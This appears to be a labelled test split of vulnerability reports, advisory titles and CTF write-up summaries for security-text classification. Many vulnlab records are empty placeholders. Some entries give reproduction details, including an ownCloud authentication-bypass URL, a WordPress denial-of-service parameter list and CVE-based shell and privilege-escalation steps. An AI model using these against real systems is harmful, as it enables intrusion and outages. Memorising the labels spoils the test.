{"id": "6a8dd51e2e424537b924", "text": "Ilevia EVE X1 Server 4.7.18.0.eden Credentials Leak Through Log Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-08-19", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d12febb932c3778a5d41", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "8bb30851d8a146834f83", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "57a7662a94a38b7e12fb", "text": "ABB Cylon Aspect 3.07.00 (obtainPorts.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-12", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "4324bfbbfbbf2c797930", "text": "CVE-2025-6982 | Vulnerability of TP-Link Archer C50\n\nHi everyone, I’m researching CVE-2025-6982 , which affects the TP-Link Archer C50 and potentially allows access to administrative credentials and Wi-Fi passwords. Despite my efforts, I haven’t been able to find the specific Proof of Concept (PoC) or exploit code for it. I apologize if this seems like a basic question, but I’ve hit a dead end in my search. Does anyone know where to find documentation or exploit details for vulnerabilities that aren’t appearing on common sites or GitHub? image 1128×774 68.3 KB", "source": "0x00sec", "timestamp": "2026-01-25", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c93f7fda250ae1faf309", "text": "eNet SMART HOME server 2.3.1 (deleteUserAccount) Arbitrary User Deletion\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "b1eadfaf7aab8db4487e", "text": "Mailing writeup by evyatar9\n\nRead my writeup for Mailing machine on: github.com Writeups/HackTheBox/Usage at master · evyatar9/Writeups This repository contains writeups for various CTFs I've participated in (Including Hack The Box). - evyatar9/Writeups TL;DR User : Found an LFI vulnerability in the download.php file. Download the hMailServer.ini file to obtain the password for the Administrator mailbox. Use CVE-2024-21413 to leak the NTLM hash of the user maya . Root : Discovered LibreOffice . Use CVE-2023-2255 to add our user to the Administrators group. Retrieve the NTLM hash of the localadmin user using crackmapexec .", "source": "hackthebox", "timestamp": "2024-09-27", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "33678a70e3ed34bea442", "text": "ABB Cylon FLXeon 9.3.5 (siteGuide.js) Authenticated Root Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-05-19", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "faec348c23a134a5924c", "text": "[Cross-site Scripting (XSS) - Reflected] reflected xss [CVE-2020-3580]\n\nHey Security Team\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\nwebsite: ███████ attached\nWhen the user clicks submit, his information will be stolen\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\npayload attached\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2024-05-03", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "513cbc3d95147eb4ddfa", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "39329cb706034bf8de1c", "text": "Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Device Config\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "c56d24d39af4410ddf8b", "text": "Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "e1376b5fe3cf7700bd61", "text": "ABB Cylon Aspect 3.08.01 (databaseFileDelete.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-18", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "66098d549081b6da3632", "text": "[Uncontrolled Resource Consumption] Assertion failed in node::http2::Http2Session::~Http2Session() leads to HTTP/2 server crash\n\nAn attacker can make the Node.js HTTP/2 server completely unavailable by sending a small amount of HTTP/2 frames packets with a few HTTP/2 frames inside. It is possible to leave some data in nghttp2 memory after reset when headers with HTTP/2 CONTINUATION frame are sent to the server and then a TCP connection is abruptly closed by the client triggering the Http2Session destructor while header frames are still being processed (and stored in memory) causing a race condition.\n\n* Advisory: https://nodejs.org/en/blog/vulnerability/april-2024-security-releases\n* HackerOne report: 2319584\n\n## Impact\n\nServer crashes instantly after sending a few HTTP/2 frames.", "source": "hackerone", "timestamp": "2024-04-29", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "c3f9e0eb1f8b7786b471", "text": "[Information Disclosure] Cross-Domain Leakage of X Username / UserID due to  Dynamically Generated JS File\n\n**Summary:** \n\nIt was found that twitter.com hosts a specific javascript file whose content is partly dynamically generated, depending on the requestor's user authentication cookie. This dynamic part actually reveals the X's User ID of the requestor. Since the Same-Origin-Policy doesn't apply to javascript file imports, an attacker can force a victim X user to import it from a malicious cross-domain application, then extract the User-ID, leading to the retrieval of the associated X username (via X API).\n\n**Description:** \n\nThe leaky JS file is the following: `https://twitter.com/sw.js`\n\nWhen requested with the cookie 'auth_token', the attribute '__INITIAL_STATE__ ' is populated in the following way:\n\n```javascript\nself.__INITIAL_STATE__ = {\"userId\":\"█████\"};\n```\n\n## Steps To Reproduce:\n\n  1. Log in to your X account\n  2. Visit the following malicious website: `███████`\n  3. Your X User ID has been retrieved\n\n## Impact\n\nX users become precisely identifiable from any remote website.\n\nThis implies the following:\n\n- Privacy / Confidentiality issue\n- Facilitation of X users tracking\n- Facilitation of phishing attacks at scale via better targeting \n- Facilitation of potential CSRF attacks at scale, for request depending on userId / username or any other public attribute that would initially be unknown to an attacker willing to target a maximum number of users.", "source": "hackerone", "timestamp": "2024-05-10", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "b8691336b1342dcd38b7", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "880950c3edaf69a6fe38", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "52e214165054d11c58a4", "text": "ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) Stored Cross-Site Scripting\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-10", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "fa52904e5a80b895447b", "text": "ABB Cylon Aspect 3.08.01 (jsonProxy.php) Unauthenticated Remote SSH Service Control\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-10-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3d21b299ff50a950ca80", "text": "ABB Cylon Aspect 3.08.02 (API/Servlets) Server-Side Request Forgery (SSRF)\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-11", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "992ac51e53e82fda7229", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "94e90e13908d4f3f386e", "text": "[Improper Access Control - Generic] Authentication Bypass with usage of PreSignedURL\n\nHello,\n\n## Summary\n\nIt was identified that ownCloud Infinite Scale (oCIS) is prone to vulnerability that allows access any file without authentication. Prior knowledge of username and filename is needed to access file.\n\nIn this instance, vulnerability was result of the default enabled PreSignedURL, which incorrectly checks the expiry date in `OC-Date` and `OC-Expires` variables. If the date has expired, the signing key has not been checked and access to file is granted.\n\n## Steps to reproduce\n\n1. Login to the ownCloud Infinite Scale instance - e.g. `admin` username was used.\n\n2. Create new file - Press \"New\" and \"Plain text file\" - `secret.txt` filename was used.\n\n{F3011022}\n\n3. Add some content to the file - e.g. \"secret file content\" and save the file.\n\n{F3011023}\n\nIn addition, it is possible to check that the file is not public or shared with anyone.\n\n{F3011024}\n\n4. Access the file without authentication with the following link builded with known username and known filename:\n\n`https://{ownload-instance}/remote.php/dav/files/{username}/{filename}?OC-Credential={username}&OC-Verb=GET&OC-Expires=60&OC-Date=2024-01-27T00:00:00.000Z&OC-Signature=notchecked`\n\nIn particular the following link was used:\n\n`https://localhost:9200/remote.php/dav/files/admin/secret.txt?OC-Credential=admin&OC-Verb=GET&OC-Expires=60&OC-Date=2024-01-27T00:00:00.000Z&OC-Signature=notchecked`\n\n{F3011032}\n\n## Details\n\nDefault settings for PreSignedURL allows usage of GET requests and therefore download files.\n\n\n[`services/proxy/pkg/config/defaults/defaultconfig.go`](https://github.com/owncloud/ocis/blob/v4.0.5/services/proxy/pkg/config/defaults/defaultconfig.go#L74):\n\n```go\n\t\tPreSignedURL: config.PreSignedURL{\n\t\t\tAllowedHTTPMethods: []string{\"GET\"},\n\t\t\tEnabled:            true,\n\t\t},\n```\n\nInside function [`validate`](https://github.com/owncloud/ocis/blob/v4.0.5/services/proxy/pkg/middleware/signed_url_auth.go#L73) another function [`urlIsExpired`](https://github.com/owncloud/ocis/blob/v4.0.5/services/proxy/pkg/middleware/signed_url_auth.go#L126) is called to check for expiration of `OC-Date` and `OC-Expires`.However, in the case of expired dates, the function returns a null error, resulting in successful authentication of requests without checking the user's signing signature/key.\n\n{F3011035}\n\n{F3011036}\n\n{F3011037}\n\n## Vulnerable versions\n\nThe following tags on GitHub was found to be vulnerable - it was not tested on different branches/tags:\n\n- v5.0.0-rc.3\n- v5.0.0-rc.2\n- v4.0.5\n\n## Temporary remediation\n\nDisabling PreSignedURLs, e.g. with environment variable `PROXY_ENABLE_PRESIGNEDURLS=false` blocked unrestricted access to files.\n\n## Impact\n\nBroken Access Control vulnerabilities have severe consequences, both for organizations and end-users. Attackers exploiting Broken Access Control can gain access to sensitive data, including personal information, financial records, or confidential documents, compromising user privacy and security. In this instance, it was possible to access the organization's and users' private files without authentication.", "source": "hackerone", "timestamp": "2024-03-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "c2b5e8a33bebaf06b502", "text": "Bugged for me too even after the server reset. Just do the CVE-2021-4034.py and you can cat flag4 and 5.", "source": "hackthebox", "timestamp": "2024-12-17", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "17b9556d514f4bc42add", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c1231626f3efd7b26d84", "text": "ABB Cylon FLXeon 9.3.4 (timeConfig.js) Authenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-02", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "14348353b0f176376896", "text": "Ilevia EVE X1 Server 4.7.18.0.eden Parameter Traversal Arbitrary File Access\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-10-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "b2b577415df1d8da3126", "text": "ABB Cylon Aspect 3.08.01 (networkDiagAjax.php) Remote Network Utility Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "f49afe260783022bccb3", "text": "ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "540009a5a3b95dadcd29", "text": "ABB Cylon Aspect 3.08.01 (jsonProxy.php) Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "8452694dde0091e2f3fa", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "4360f0d7ec6b6352f79b", "text": "ABB Cylon Aspect 3.08.03 (projectUpdateBSXFileProcess.php) Remote Guest2Root Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "6cb2788ae3baa44fa08e", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "0ef9d46b21fe82b46afe", "text": "Ilevia EVE X1 Server 4.7.18.0.eden (mbus) Unauthenticated Remote Command Injection\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-10-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "77c110c5e00d0f3de0f7", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "37eef090256149227bc4", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a566db3a14b72f2b127d", "text": "ABB Cylon Aspect 3.08.02 PHP Session Fixation Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-09", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "f40c1da5787d1bcd0efb", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "c036b29f9d31bc4b01be", "text": "ABB Cylon Aspect 3.08.01 (portQueueAjax.php) Information Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-12", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3079b2925754583b1f54", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "189715eac9f204f16c7d", "text": "ABB Cylon Aspect 3.08.00 (log(Mix/Yum)Lookup.php) Off-by-One Error in Log Parsing\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-11-05", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3f2b969c47844fb95e3e", "text": "[Unknown] CVE-2018-6389 exploitation - using scripts loader\n\nHi  Team !\n\n\nUnauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times.\nThe vulnerability is registered as CVE-2018-6389.\nWordPress allows users to load multiple JS files and CSS files through load-scripts.php files at once. However, the number and size of files are not restricted in the process of loading JS files, attackers can use this function to deplete server resources and launch denial of service attacks.\n\nReferences\nThe vulnerability is registered as https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389\nhttps://hackerone.com/reports/925425\nhttps://hackerone.com/reports/335177\nhttps://hackerone.com/reports/753491\n\n\nPlatform(s) Affected: [website]\n- █████████?load=\n\nSteps To Reproduce:\nOpen Vulnerability url - open directory /wp-admin/load-scripts.php?load=\nAdd parameter-vulnerable in request header\nIn request header using GET-Method\n\n\nPayloads Vulnerabilities\n\neutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n\n## Impact\n\nAttackers can use this vulnerable function to deplete server resources and launch denial of service attacks.", "source": "hackerone", "timestamp": "2024-02-13", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "5534ab6f6052e3f56704", "text": "ABB Cylon FLXeon 9.3.5 (uukl.js) Predictable Salt and Weak Hashing Algorithm\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-05-19", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "f319b88aaa08029d5868", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "be23f958786dcc9abc6e", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "4a7b5b01355d78065ccb", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "7339750960aaa08fe863", "text": "[Improper Certificate Validation] CVE-2024-2379: QUIC certificate check bypass with wolfSSL\n\n## Summary:\nIn `vquic-tls.c` `curl_wssl_init_ctx` errors are handled by `goto out` and having `result` be set to an error code to be returned. At the beginning of the function `result` is correctly set to `CURLE_FAILED_INIT` which allows for `goto out` to work correctly without having to set `result` however, `result`'s value is overridden at a certain point  if `ctx_setup` is passed to the function. If `ctx_setup` returns 0 (the expected result) then it's assigned to `result` and any attempt after that to `goto out` without setting `result` to an error code will make the function skip the rest of its initialization and return with an error code indicating success.\n\nUnfortunately the last thing `curl_wssl_init_ctx` is supposed to setup for the ssl context is the certificate verification requirements. There are 4 places `goto out` is used without setting `result`, of those 3 can result from bad user input (bad tls13-ciphers, curves, or cafile/capath) and 1 is from trying to setup ssl key logging when having a WolfSSL build that doesn't have `wolfSSL_CTX_set_keylog_callback`. \n\nLuckily this does require the user to have passed in bogus values for one of the above parameters which I find very unlikely. Also very fortunately  WolfSSL attempts to default to verify a cert rather than OpenSSL's default of not verifying. There is an option to make WolfSSL have OpenSSL compatible defaults but I don't know how common it is to have WolfSSL configured like that so I'm not sure how likely it is that people could run into this.\n\nGiven the unlikely set of configurations required to encounter this I don't think this is a \"high\" vulnerability like the CVSS claims but there is no way of manually setting the score, honestly I would have just submitted a patch to fix this but I'm not to sure on how common having WolfSSL in OpenSSL compatible mode is so I'm err'ing on the side of caution and submitting it here.\n\nI checked the other initialization functions in `vquic-tls.c` and it doesn't look like the same mistake was made in them. `result` is assigned before each use of `goto out`.\n\n## Steps To Reproduce:\nBuild WolfSSL with something that sets `OPENSSL_COMPATIBLE_DEFAULTS` (I used `--enable-nginx`) and build curl with the WolfSSL backend.\nSetup a QUIC webserver with a self signed cert that matches the domain being spoofed and attempt to make a HTTP/3 connection to it using curl with a bad `--curves` list. curl connects to the site without having set `--insecure`, taking out the bad `--curves` argument curl will complain about the invalid cert. \n\nex:\n```\n./curl -v --http3-only 'https://example.com/' -o /dev/null -s --resolve example.com:443:192.168.1.24 --curves blah\n* Added example.com:443:192.168.1.24 to DNS cache\n* Hostname example.com was found in DNS cache\n*   Trying 192.168.1.24:443...\n* wolfSSL failed to set curves\n* Verified certificate just fine\n* Connected to example.com (192.168.1.24) port 443\n* using HTTP/3\n* [HTTP/3] [0] OPENED stream for https://example.com/\n* [HTTP/3] [0] [:method: GET]\n* [HTTP/3] [0] [:scheme: https]\n* [HTTP/3] [0] [:authority: example.com]\n* [HTTP/3] [0] [:path: /]\n* [HTTP/3] [0] [user-agent: curl/8.7.0-DEV]\n* [HTTP/3] [0] [accept: */*]\n> GET / HTTP/3\n> Host: example.com\n> User-Agent: curl/8.7.0-DEV\n> Accept: */*\n> \n* We are completely uploaded and fine\n< HTTP/3 200 \n< server: nginx/1.25.4\n< date: Sun, 10 Mar 2024 21:02:39 GMT\n< content-type: text/html\n< content-length: 615\n< last-modified: Wed, 14 Feb 2024 16:03:00 GMT\n< etag: \"65cce434-267\"\n< accept-ranges: bytes\n< \n{ [615 bytes data]\n* Connection #0 to host example.com left intact\n```\n\nvs\n\n```\n./curl -v --http3-only 'https://example.com/' -o /dev/null -s --resolve example.com:443:192.168.1.24 \n* Added example.com:443:192.168.1.24 to DNS cache\n* Hostname example.com was found in DNS cache\n*   Trying 192.168.1.24:443...\n*  CAfile: /etc/ssl/certs/ca-certificates.crt\n*  CApath: none\n* QUIC connect to 192.168.1.24 port 443 failed: SSL peer certificate or SSH remote key", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "1495c9250d5d61d404cb", "text": "[Seebug SSV-99892] PyTorch库RPC框架反序列化RCE漏洞(CVE-2024-48063)\nSeverity: high\nDate: 2024-10-31\nCVE: CVE-2024-48063", "source": "seebug", "timestamp": "2024-10-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "3eb035c3cedc86d8ea5b", "text": "CMU CERT/CC VINCE v2.0.6 Stored XSS\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-02-10", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3f0bcc636d0e0f68dfcc", "text": "ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "33c589a831027a08ca65", "text": "ABB Cylon Aspect 3.08.02 (MIX) Session Validation Bypass\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "0edd375c3f736a405d56", "text": "Elber Wayber Analog/Digital Audio STL 4.00 Device Config\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "84d3402e3f8897c1c04e", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c8563b516c5ff2c5d4c7", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d45999b65ad9b54ac397", "text": "[Cryptographic Issues - Generic] CVE-2019-1551: rsaz_512_sqr overflow bug on x86_64\n\nThere is an overflow bug in the x64_64 Montgomery squaring procedure used in\nexponentiation with 512-bit moduli. No EC algorithms are affected. Analysis\nsuggests that attacks against 2-prime RSA1024, 3-prime RSA1536, and DSA1024 as a\nresult of this defect would be very difficult to perform and are not believed\nlikely. Attacks against DH512 are considered just feasible. However, for an\nattack the target would have to re-use the DH512 private key, which is not\nrecommended anyway. Also applications directly using the low level API\nBN_mod_exp may be affected if they use BN_FLG_CONSTTIME.\n\nOpenSSL versions 1.1.1 and 1.0.2 are affected by this issue. However due to the\nlow severity of this issue we are not creating new releases at this time. The\n1.1.1 mitigation for this issue can be found in commit 419102400. The 1.0.2\nmitigation for this issue can be found in commit f1c5eea8a.\n\nThis issue was found by OSS-Fuzz and Guido Vranken and reported to OpenSSL on\n12th September 2019. The fix was developed by Andy Polyakov with additional\nanalysis by Bernd Edlinger.\n\n## Impact\n\nBreaking DH512, according to the advisory.", "source": "hackerone", "timestamp": "2024-05-09", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c8795d18ed832d785b27", "text": "BoardLight writeup by evyatar9\n\nRead my writeup to BoardLIght machine on: github.com Writeups/HackTheBox/BoardLight at master · evyatar9/Writeups This repository contains writeups for various CTFs I've participated in (Including Hack The Box). - evyatar9/Writeups TL;DR User : Discovered the virtual host crm.board.htb running Dolibarr 17.0.0 , which is vulnerable to CVE-2023-30253 . Exploit this CVE to obtain a reverse shell as www-data . Reuse the database password from conf.php for SSH login as larissa . Root : Identified an SUID file at lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys . Use CVE-2022-37706 to achieve Local Privilege Escalation.", "source": "hackthebox", "timestamp": "2024-10-24", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a2f830ebe4e031aa681d", "text": "Cve-2026-23416-poc\n\nThis is a poc for vulnerability I discovered in linux kernel 6.17-linux kernel 7 rc5 github.com GitHub - bluedragonsecurity/CVE-2026-23416-POC: POC for CVE-2026-23416 (linux kernel 6.17-linux... POC for CVE-2026-23416 (linux kernel 6.17-linux kernel 7 rc5) - vulnerability discovered by Antonius SUMMARY An invariant violation (VM_WARN_ON_VMG) fires at mm/vma.c:830 inside vma_merge_existing_range() when mseal(2) is called with a range spanning two adjacent VMAs where one has VM_SEALED set and the other does not. Syscall: mseal(2) File: mm/vma.c line 830 Affected: Linux kernel 6.17 - Linux Kernel 7-rc5 (confirmed) Access: UID 1000, no capabilities required Repro: 100% deterministic, &lt; 1 second, no fault injection CALL PATH mseal(2) → do_mseal() [mm/mseal.c] → mseal_apply() → vma_modify_flags() [mm/vma.c] → vma_modify() → vma_merge_existing_range() → VM_WARN_ON_VMG fires at line 830 FAILING ASSERTION VM_WARN_ON_VMG(middle &amp;&amp; ((middle != prev &amp;&amp; vmg-&gt;start != middle-&gt;vm_start) || vmg-&gt;end &gt; middle-&gt;vm_end)) vmg-&gt;start = 0x21da8000 (original mseal start, not clamped) middle-&gt;vm_start = 0x21de6000 (VMA-B, not sealed) → vmg-&gt;start != middle-&gt;vm_start → WARN fires ROOT CAUSE do_mseal() calls vma_modify_flags() with the original mseal() start address without clamping it to the current VMA’s vm_start when the mseal range spans two VMAs with different VM_SEALED states. This causes vma_merge_existing_range() to receive an inconsistent vmg state. SECURITY RELEVANCE Reachable from unprivileged userspace (UID 1000, no CAP_* needed, only memfd_create + mmap + mseal syscalls). mseal(2) is a security primitive protecting VMA immutability. An invariant violation in its application logic means VM_SEALED may be applied incorrectly when spanning VMAs with mixed seal states, potentially undermining the security guarantee mseal provides. In production kernels (non-debug, WARN compiled to no-op), the inconsistent vmg state proceeds silently – the VMA tree could be left with incorrect seal state without any visible error. What is Mseal ? This is a protection mechanism in Linux Kernel 6.10+, which renders any userspace exploitation attempts using the mprotect technique useless. However, the difference is that in Linux, a userspace application must explicitly enable the mseal feature within it’s code; it is not enabled by default (“It is not enabled by default for now; however, that may change in the future.”) THANKS Thank you for all 0x00sec brotherhood ! I hope this information is helpful", "source": "0x00sec", "timestamp": "2026-04-02", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "fdf0a8e2959904db1893", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "357c1d2bf56c7fcaa81b", "text": "Pachno 1.0.6 Wiki TextParser XXE Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "672cfd26b8bbb8b167f5", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "11ce2689141e55b77681", "text": "[Seebug SSV-99907] Databricks JDBC 驱动程序 JNDI 注入（CVE-2024-49194）\nSeverity: high\nDate: 2024-12-20\nCVE: CVE-2024-49194", "source": "seebug", "timestamp": "2024-12-20", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "84caee44eb8789d74e8b", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
